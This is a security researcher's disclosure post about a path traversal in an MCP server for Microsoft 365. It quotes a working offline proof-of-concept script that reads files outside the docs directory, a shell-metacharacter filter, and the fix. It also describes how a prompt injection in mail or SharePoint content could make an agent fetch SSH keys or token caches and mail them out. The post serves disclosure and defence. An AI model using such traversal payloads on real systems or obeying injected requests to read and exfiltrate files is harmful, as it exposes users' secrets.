All posts
5 min read

Path traversal in the CLI for Microsoft 365 MCP server

Its documentation tool took a file path from the model and never checked where it pointed, so it could read any file on the machine. How the bug worked, how I reproduced it offline and how it was fixed in 0.1.27.

MCPAI SecurityPath TraversalAppSec

In November I reported a path traversal in @pnp/cli-microsoft365-mcp-server, the MCP server that lets an AI agent drive CLI for Microsoft 365. The maintainers fixed it in version 0.1.27 and published it as GHSA-4x82-gj43-chjg. If you run the server, update to 0.1.27 or later and that is all you need to do.

The rest of this post explains how the bug worked and why it was in the tool I expected the least from.

Four tools, one of them scary

The server is small. It gives the model four tools:

  • m365_search_commands finds CLI commands from a query.
  • m365_get_command_docs returns the documentation page of one command.
  • m365_run_command runs an m365 command and returns its output.
  • m365_get_best_practices returns advice for writing scripts with the CLI.

The scary one is m365_run_command, because its argument ends up in a shell. The authors had clearly thought about that. The command has to start with m365, and anything with shell metacharacters is thrown out:

if (!/^m365(\s|$)/.test(trimmedCommand)) {
    throw new Error('Only m365 commands are allowed. Command must start with "m365".');
}

if (/[;&|`$<>\n\r]|\$\(|\|\|/.test(trimmedCommand)) {
    throw new Error('Command contains disallowed shell metacharacters.');
}

I tried command substitution, pipes, chaining and line breaks against that filter and got nowhere. So I went to look at the tool that only reads documentation.

The docs argument

Each search result carries a docs field with the relative path of the command's documentation file:

{
  "name": "m365 spo site get",
  "description": "Gets information about the specific site",
  "docs": "spo/site/site-get.mdx"
}

The model is expected to pass that value back to m365_get_command_docs. This is what the tool did with it in 0.1.26 (shortened):

export async function getCommandDocs(commandName: string, docs: string): Promise<any> {
    const filePath = await checkGlobalPackage('@pnp/cli-microsoft365',
        `docs${path.sep}docs${path.sep}cmd${path.sep}${docs}`);
    // ...
    const fileContent = await fs.readFile(filePath, 'utf-8');
    return fileContent;
}

checkGlobalPackage finds the global npm directory and builds the final path with path.join(npmRoot, packageName, filePath). path.join normalises .. segments, and nothing compared the result with the docs directory afterwards. With enough ../ in docs you are at the root of the filesystem, and the tool returns any file the user running the server can read.

One thing surprised me: an absolute path does not work. path.join('/a/b', '/etc/hostname') gives /a/b/etc/hostname, so docs: "/etc/hostname" just fails with a "not found" error. Only .. gets out.

Reproducing it without a network

I run every test in a container with no network access. The server looks for the real CLI with npm list -g and npm root -g, but I did not need the CLI itself, only for that lookup to succeed. So the image has the published 0.1.26 server from npm and a stub of @pnp/cli-microsoft365 with a single docs file.

Then I talked to the server over stdio with a few lines of shell:

echo 'MARKER: secret outside the docs dir' > /root/marker.txt
call() {
  { printf '%s\n' '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"t","version":"1"}}}'
    printf '%s\n' '{"jsonrpc":"2.0","method":"notifications/initialized"}'
    printf '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"m365_get_command_docs","arguments":{"commandName":"x","docs":"%s"}}}\n' "$1"
    sleep 5; } | cli-microsoft365-mcp-server 2>/dev/null | grep '"id":2' | cut -c1-330
}
call 'spo/site/site-get.mdx'
call '../../../../../../../../../../../../root/marker.txt'
call '../../../../../../../../../../../../etc/hostname'

Each answer is a JSON-RPC message with two text items: a fixed tip the tool always sends, and the file. These are the second items of the three answers:

{"type":"text","text":"Stub documentation file (legit path).\n"}
{"type":"text","text":"MARKER: secret outside the docs dir\n"}
{"type":"text","text":"3b684128ab3a\n"}

The first is the docs file of my stub, the second is the marker I left in /root, and the third is the container's /etc/hostname.

Why a file read matters here

The model has to send the ../, and the model works for the user. So where is the attacker?

In whatever the model reads. An agent connected to this server reads mail, SharePoint pages and Teams messages, because that is what the server is for, and all of those can contain text written by someone else. A prompt injection in one of them only has to ask for m365_get_command_docs with a path of the attacker's choosing. The file comes back into the model's context, and the same server can send mail or upload a file. Both steps go through tools the user has already approved.

The interesting files are in the home directory of whoever runs the server: SSH keys, .env files, cloud credentials and the CLI's own token cache.

I only reproduced the file read. I did not chain it with an injection against a real tenant, because I don't test against services that are not mine. The advisory is rated medium (CVSS 6.5): the attacker needs no account, but the user has to run the agent over content the attacker controls, and the impact is reading files, not changing them.

The fix

The fix came out in 0.1.27, twelve days after my report. The tool now resolves the path against the docs directory, refuses absolute paths, checks that the result is still inside, and checks again after resolving symlinks:

const filePath = path.resolve(docsDirectory, docs);
if (path.isAbsolute(docs) || !isPathWithinDirectory(docsDirectory, filePath)) {
    throw new Error('Documentation path must be within the command documentation directory');
}
// ...
const realDocsDirectory = await fs.realpath(docsDirectory);
const realFilePath = await fs.realpath(filePath);
if (!isPathWithinDirectory(realDocsDirectory, realFilePath)) {
    throw new Error('Documentation path must be within the command documentation directory');
}

isPathWithinDirectory is built on path.relative, not on a string prefix. I like that detail. A startsWith check on /x/docs/cmd would also accept /x/docs/cmd-other/file, which is a classic way to get this kind of fix half right.

I ran the same script against 0.1.27 with the two traversal paths, an absolute path and a sibling directory that shares the prefix. All four came back with the new error.

Timeline

  • 9 November 2026: reported through GitHub's private vulnerability reporting.
  • 21 November 2026: 0.1.27 released with the fix, and the advisory published.

Thanks to the maintainers for the quick turnaround and for crediting the report.

What I open first now

In an MCP server every tool argument is input from a stranger. It does not matter that the schema calls it "file path to command documentation", or that the value normally comes from another tool of the same server. The argument that ends in a shell tends to get a filter, because everybody sees the risk. The one that ends in readFile, inside a tool that sounds read-only, is the one I open first now.